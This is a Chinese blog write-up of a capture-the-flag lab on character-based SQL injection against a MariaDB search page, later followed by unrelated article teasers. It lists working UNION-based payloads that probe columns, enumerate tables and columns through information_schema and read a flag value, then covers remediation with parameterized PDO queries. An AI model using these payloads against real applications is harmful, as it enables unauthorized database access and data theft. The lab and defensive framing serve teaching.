news 2026/9/7 18:39:20

【好靶场】报错注入-sql注入-字符型

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【好靶场】报错注入-sql注入-字符型

【好靶场】报错注入-sql注入-字符型

  • 前言
    • 一、前置核心原理
      • 1. 字符型注入的本质:字符串闭合失效
      • 2. 注释符 -- 空格的必要性
      • 3. 本次注入三大核心语法作用
      • 4. UNION 注入硬性规则
    • 二、靶场信息与测试目标
      • 1. 靶场基础信息(初始仅从页面截图可知)
      • 2. 本文测试目标
    • 三、漏洞验证与 Flag 获取过程
      • 步骤 1:用单引号确认是否存在字符型注入
      • 步骤 2:使用 `ORDER BY` 判断字段数量
      • 步骤 3:使用 `UNION SELECT` 寻找回显位
      • 步骤 4:枚举当前数据库中的数据表
      • 步骤 5:枚举 `flag` 表的字段名
      • 步骤 6:读取 Flag
    • 四、把每一步串成完整的 SQL 执行逻辑
    • 五、常见失败点与排查思路
      • 1. `--` 后少了空格
      • 2. `UNION SELECT` 列数不一致
      • 3. 只知道列数,不知道数据展示在哪里
      • 4. 表名或字段名没有加引号
      • 5. 浏览器、代理工具改变了特殊字符
    • 六、漏洞根因与修复建议
      • 1. 根因:将外部输入直接拼接到 SQL 文本
      • 2. 正确修复:使用参数化查询
      • 3. 输入校验只能作为补充
      • 4. 不把数据库报错直接返回给用户
      • 5. 数据库账户遵循最小权限
    • 总结

前言

在 SQL 注入学习中,很多人习惯直接复制 Payload 拿 Flag,却无法独立分析漏洞成因与利用逻辑。想要真正掌握注入,必须建立一套标准化探测流程:判断可控输入、确定闭合方式、探测字段数量、定位回显位置、枚举库表结构、读取目标数据。

本次靶场为单引号闭合字符型 SQL 注入,页面具备 SQL 错误回显且支持 UNION 联合查询。这里做一次关键概念纠正:本题仅依靠报错完成漏洞探测,核心数据利用方式为 UNION 联合查询,不属于报错注入利用

后端原始 SQL 语句将用户搜索参数直接拼接查询,无过滤、无预编译,存在完整注入漏洞:

SELECTid,name,email,department,salary,phone,addressFROMuserWHEREname='$name'

下文将严格按照 0 到 1 的完整复现流程,每一步包含探测意图、输入 Payload、页面现象、原理分析,形成可迁移、可复用的注入思维。


一、前置核心原理

1. 字符型注入的本质:字符串闭合失效

数字型注入无需闭合符号,而字符型注入依靠引号包裹参数,必须破坏引号结构才能篡改 SQL 逻辑。

正常搜索时,参数被单引号完整包裹:

WHEREname='张三'

当我们输入单引号'时,原字符串被提前闭合,后端 SQL 出现语法残缺:

WHEREname='''

数据库抛出 1064 语法错误,证明用户输入成功参与 SQL 解析,且当前闭合方式为单引号字符型

2. 注释符 – 空格的必要性

MySQL 中--必须后跟空格才是合法单行注释。

注入的核心逻辑,不仅是构造前面的语句,更需要注释掉后端残留的闭合符号,避免语句报错失效。

输入:' order by 7--
最终生效 SQL:

WHEREname=''ORDERBY7-- '

末尾单引号被注释,语句结构完整可正常执行。所有注入失败、语法报错的高频原因,基本都是注释空格丢失、特殊字符被编码导致。

3. 本次注入三大核心语法作用

语法核心作用本题使用场景
ORDER BY通过依次递增排序字段,探测原始查询的总列数UNION 查询必须保证前后字段数量一致,这是联合注入的硬性前提
UNION SELECT拼接自定义查询结果,用于在页面回显我们需要的数据读取库名、表名、字段、Flag 数据
information_schemaMySQL 系统元数据表,可枚举库、表、字段信息无后台权限时自动枚举数据库结构

4. UNION 注入硬性规则

联合查询执行必须满足两个条件:

  1. 前后两条 SELECT 查询字段数量完全一致;
  2. 对应字段数据类型兼容、可页面渲染。

经过探测,本题原始查询固定返回 7 列,因此所有 UNION Payload 必须严格构造 7 个字段占位。


二、靶场信息与测试目标

1. 靶场基础信息(初始仅从页面截图可知)

仅能直接观察到的内容:

⚠️ 重点:在最开始测试前,我们完全不知道后端SQL长什么样、查询了几列、表格字段对应关系,这些全部都要靠一步步注入探测得出,不能提前预设。

2. 本文测试目标

在不修改、写入数据库数据的前提下,按顺序完成整套注入验证流程:

确认是否存在字符型注入 ↓ 探测原始SQL查询的列数量 ↓ 定位页面可展示数据的回显位置 ↓ 枚举当前数据库内所有数据表 ↓ 枚举目标flag表内的字段名 ↓ 读取flag字段内的目标数据

三、漏洞验证与 Flag 获取过程

步骤 1:用单引号确认是否存在字符型注入

输入内容:

'

点击“搜索”后,页面返回:

查询错误: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")

观察与分析:

  • 错误编号1064是 MariaDB / MySQL 常见的 SQL 语法错误;
  • 错误位置紧邻单引号,符合用户输入打断字符串边界的特征;
  • 这说明输入很可能没有经过参数化处理,而是被拼接进了 SQL 文本。

结论:

可以初步确认这是一个由单引号闭合的字符型 SQL 注入点

下一步动作:

既然输入可以改变 SQL 语法,就继续用ORDER BY判断原查询返回了多少列,为UNION SELECT做准备。


步骤 2:使用ORDER BY判断字段数量

先输入:

' order by 7--

观察页面现象:

页面没有 SQL 报错,仍然能够正常显示搜索结果表格。

然后将数字增加 1,输入:

' order by 8--

观察页面现象:

页面出现数据库错误,常见表现是“未知列”或与排序位置相关的 SQL 错误。

为什么能这样判断:

ORDER BY 7表示按结果集的第 7 列排序。若结果集中确实有第 7 列,数据库可以正常执行;ORDER BY 8则请求按不存在的第 8 列排序,因此会失败。

ORDER BY 7 正常 ORDER BY 8 报错 ↓ 原查询结果集共有 7 列

结论:

原查询返回7 列。因此构造联合查询时,UNION SELECT后面也必须提供 7 个字段。

下一步动作:

17作为标记值进行联合查询,确认这 7 个位置中哪些会显示在页面上。

注意:ORDER BY 8的本质通常不是“语法错误”,而是引用了超出结果集范围的排序列。不同靶场可能对错误信息进行了统一包装,页面上都可能只显示为“查询错误”。判断时以“7 正常、8 稳定失败”的对照现象为准。


步骤 3:使用UNION SELECT寻找回显位

输入内容:

' union select 1,2,3,4,5,6,7--

页面回显:

搜索结果表格中出现一行内容:

分析:

这条语句成功执行,说明列数已经匹配。页面字段与联合查询位置的关系如下:

ID姓名邮箱部门薪资电话地址
1234567

理论上这 7 个位置都能看到标记值。为了后续记录统一,本文选择第 3 位“邮箱”承载查询结果。将要显示的内容放在第 3 个表达式,其余位置使用常量占位即可。

结论:

第 3 列是稳定、清晰的回显位,后续统一使用:

UNIONSELECT1,2,<要显示的数据>,4,5,6,7

下一步动作:

通过information_schema.tables查询当前数据库的表名。


步骤 4:枚举当前数据库中的数据表

输入内容:

' union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

页面回显:

邮箱列显示:

users,flag

Payload 语法拆解讲解:

information_schema.tables

保存数据库中表的元数据;而:

table_schema=database()

把范围限制为当前正在使用的数据库,避免枚举到其他库的表名。

group_concat(table_name)会把多行表名拼成一个逗号分隔的字符串。这样即使页面只显示一行记录,也能一次看到多个表名。

结论:

当前库中至少存在:

users flag

其中flag的命名具有明显的题目特征,优先查看其字段结构。

下一步动作:

information_schema.columns中查询flag表的字段名。为了避免同名表存在于其他数据库,查询时也要加上当前库限制。


步骤 5:枚举flag表的字段名

输入内容:

' union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database() and table_name='flag'--

页面回显:

邮箱列显示:

id,flag

分析:

information_schema.columns记录每张表的列信息。这里已经确认:

  • id:通常为记录编号;
  • flag:字段名直接表明其内容就是题目目标。

结论:

目标数据位于flag表的flag字段中。

下一步动作:

flag表读取该字段内容。


步骤 6:读取 Flag

输入内容:

' union select 1,2,group_concat(flag),4,5,6,7 from flag--

页面回显:

邮箱列直接显示 Flag 字符串。

flag{3bfc1b7d820e465090e090ef93cdaa0b}

为什么这里仍使用group_concat()

如果flag表只有一条记录,直接写flag也可以;使用group_concat(flag)的好处是,即使有多条记录,页面仍会将结果拼接为一条字符串返回,适合只有一个固定回显位的场景。

最终结论:

漏洞利用链路完整闭合:输入可控 → 打断字符边界 → 联合查询成功 → 数据库结构可枚举 → 可读取flag字段。至此,本题验证完成。


四、把每一步串成完整的 SQL 执行逻辑

以最后一步为例,搜索框输入:

' union select 1,2,group_concat(flag),4,5,6,7 from flag--

服务端拼接后,核心 SQL 逻辑可以理解为:

SELECTid,name,email,department,salary,phone,addressFROMuserWHEREname=''UNIONSELECT1,2,GROUP_CONCAT(flag),4,5,6,7FROMflag-- '

其中:

  1. 开头的'闭合了name = '中原有的字符串;
  2. name = ''通常不会匹配到目标记录,但这不是重点;
  3. UNION SELECT把第二段查询的结果追加到页面结果中;
  4. GROUP_CONCAT(flag)放在第 3 位,所以会显示在“邮箱”列;
  5. --注释掉后端拼接在末尾的单引号。

整个过程可以概括为:

单引号报错 ↓ 确认字符串闭合 ↓ ORDER BY 确认 7 列 ↓ UNION SELECT 1~7 确认回显位 ↓ information_schema 查询表名与字段名 ↓ 从 flag.flag 读取目标内容

五、常见失败点与排查思路

1.--后少了空格

错误写法:

' union select 1,2,3,4,5,6,7--

推荐写法:

' union select 1,2,3,4,5,6,7--

MySQL / MariaDB 中--后通常需要空白字符才能被识别为注释。末尾空格丢失时,原语句的尾部单引号可能没有被注释,导致错误。

2.UNION SELECT列数不一致

例如已确认原查询有 7 列,却误写成:

UNIONSELECT1,2,3

数据库会拒绝联合查询。必须保证两个SELECT的列数一致。本题固定使用 7 个位置:

1,2,<回显内容>,4,5,6,7

3. 只知道列数,不知道数据展示在哪里

ORDER BY只能帮助确定列数,不能判断页面到底显示哪一列。必须继续使用:

' union select 1,2,3,4,5,6,7--

通过标记值和表格表头一一对应后,再决定把数据放到哪里。

4. 表名或字段名没有加引号

查询元数据时,字符串条件必须写成字符串:

table_name='flag'

而不是:

table_name=flag

后者会把flag当作标识符解析,容易造成错误或查询不到结果。

5. 浏览器、代理工具改变了特殊字符

单引号、空格和#等字符在不同请求方式中可能被编码或截断。遇到“本来正确的 Payload 没有预期现象”时,可检查:

  • 最终发出的请求参数是否仍包含单引号;
  • --后的空格是否保留;
  • 请求是否被前端校验、URL 编码或 WAF 规则改写;
  • 同一 Payload 是否能稳定复现相同的状态码、错误提示或回显。

不要仅凭一次页面变化下结论,应使用正常输入、测试输入和重复请求做对照。


六、漏洞根因与修复建议

1. 根因:将外部输入直接拼接到 SQL 文本

漏洞代码的核心问题通常类似:

$sql="SELECT id, name, email, department, salary, phone, address FROM user WHERE name = '$name'";$result=$pdo->query($sql);

此时$name不再只是“数据”,而可能成为 SQL 语法的一部分。无论只过滤单引号、空格还是UNION关键字,都无法从根本上解决这个问题。

2. 正确修复:使用参数化查询

以 PDO 为例,应把 SQL 结构与用户数据分开:

$pdo=newPDO($dsn,$username,$password,[PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION,PDO::ATTR_EMULATE_PREPARES=>false,]);$sql='SELECT id, name, email, department, salary, phone, address FROM user WHERE name = :name';$stmt=$pdo->prepare($sql);$stmt->execute([':name'=>$name]);$rows=$stmt->fetchAll(PDO::FETCH_ASSOC);

在参数化查询中,$name会作为一个值绑定,而不会参与 SQL 语法解析。即使用户输入单引号,也只会被当成普通字符处理。

3. 输入校验只能作为补充

如果业务要求姓名只允许中文、字母、空格和有限长度,应额外做格式与长度校验。但要明确:

输入校验 ≠ SQL 注入的根本修复 预编译 / 参数绑定 = 必须具备的根本修复

输入校验用于保证业务数据质量;参数化查询用于隔离代码与数据,防止注入。

4. 不把数据库报错直接返回给用户

本题之所以能快速判断注入类型,是因为页面直接暴露了 MariaDB 错误信息。在生产环境中应:

  • 对用户返回统一、无敏感信息的错误提示;
  • 将数据库错误写入受保护的服务端日志;
  • 配合错误追踪系统定位问题;
  • 避免泄露数据库类型、SQL 片段、表名、文件路径和版本信息。

这不能替代参数化查询,但可以减少信息泄露带来的利用便利。

5. 数据库账户遵循最小权限

业务连接账号只授予实际业务表所需的SELECTINSERTUPDATE等权限,不使用高权限管理员账号连接应用。最小权限不能消除注入漏洞,但能够在漏洞出现时缩小可读取、可修改的范围。


总结

这道题最重要的不是机械记忆 Payload,而是建立稳定的判断链:

输入 ' 出现数据库语法错误 → 证明引号边界可能可控 ORDER BY 7 正常、ORDER BY 8 失败 → 证明原查询有 7 列 UNION SELECT 1,2,3,4,5,6,7 成功回显 → 确认联合查询可用并定位页面输出列 查询 information_schema.tables / columns → 获得 flag 表和 flag 字段 在第 3 个回显位查询 GROUP_CONCAT(flag) → 读取最终目标数据

对于这类字符型联合注入题,始终遵循“先验证、再测列数、再找回显、最后枚举结构与读取数据”的顺序,能显著减少盲猜和无效测试。更重要的是,从防守角度看,所有这些步骤最终都指向同一个根因:应用把不可信输入拼进了 SQL 文本。使用参数化查询,才是解决该问题的正确方式。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/30 18:33:52

视频先验修复3D渲染:FixAnything实现跨视角一致性细化

在 3D 内容生产流程里&#xff0c;“渲染结果不够好”是一个几乎人人都会撞上的问题。NeRF 重建出的物体表面有空洞和雾感&#xff0c;3D Gaussian Splatting 在视角拉近时暴露出碎片状伪影&#xff0c;Mesh 渲染在高光区域会出现闪烁。过去几年&#xff0c;最常见的处理办法是…

作者头像 李华
网站建设 2026/8/30 15:24:01

2026这6款宝藏降AI率平台大起底,一键把AI检测率精准控到安全区!

步入 2026 年&#xff0c;学术圈的规则早已悄然改写。曾经只盯着查重率的焦虑&#xff0c;如今已被更严苛的 AI 检测标准彻底取代。各大高校的审核系统不断升级&#xff0c;算法愈发精细&#xff0c;连最细微的 AI 痕迹都难逃法眼。光是降低重复率已经不够&#xff0c;论文的每…

作者头像 李华
网站建设 2026/8/31 2:48:03

芯片级通信卸载:MTIA 300如何解决分布式训练网络瓶颈

大规模分布式训练跑不起来时&#xff0c;最痛苦的往往不是算力不够&#xff0c;而是通信太慢。GPU 之间同步梯度要等网络&#xff0c;参数服务器频繁收发数据要占 CPU&#xff0c;网络延迟一抖动&#xff0c;整个集群的有效利用率就直线下降。Meta 最新一代自研 AI 训练芯片 MT…

作者头像 李华
网站建设 2026/8/30 22:41:32

ROS2人形机器人强化学习部署实战:从仿真训练到实物控制全链路解析

简介&#xff1a;强化学习作为人工智能的核心分支&#xff0c;通过智能体与环境的交互学习最优决策策略&#xff0c;其原理在于利用奖励信号引导模型在复杂状态空间中探索与利用。这项技术的核心价值在于解决传统控制方法难以建模的动态、高维决策问题&#xff0c;尤其在机器人…

作者头像 李华
网站建设 2026/9/1 7:31:52

动态规划核心思想与实战:从状态定义到数学建模应用

1. 从“走一步看一步”到“走一步看全局”&#xff1a;动态规划的核心思想 如果你在解决一个复杂问题时&#xff0c;感觉像在迷宫里打转&#xff0c;每次只能看到眼前的一两步&#xff0c;那么动态规划&#xff08;Dynamic Programming&#xff0c; DP&#xff09;可能就是你要…

作者头像 李华
网站建设 2026/9/1 12:34:05

InnoDB的内存结构

MySQL架构&#xff1a;完整的数据流向与分层1. 客户端 (Client)这是谁&#xff1a; 你的 Spring Boot 代码&#xff08;Service / DAO / MyBatis 等&#xff09;。它的角色&#xff1a; 构造一条完整的 SQL 语句&#xff08;比如 SELECT * FROM ... WHERE ...&#xff09;&…

作者头像 李华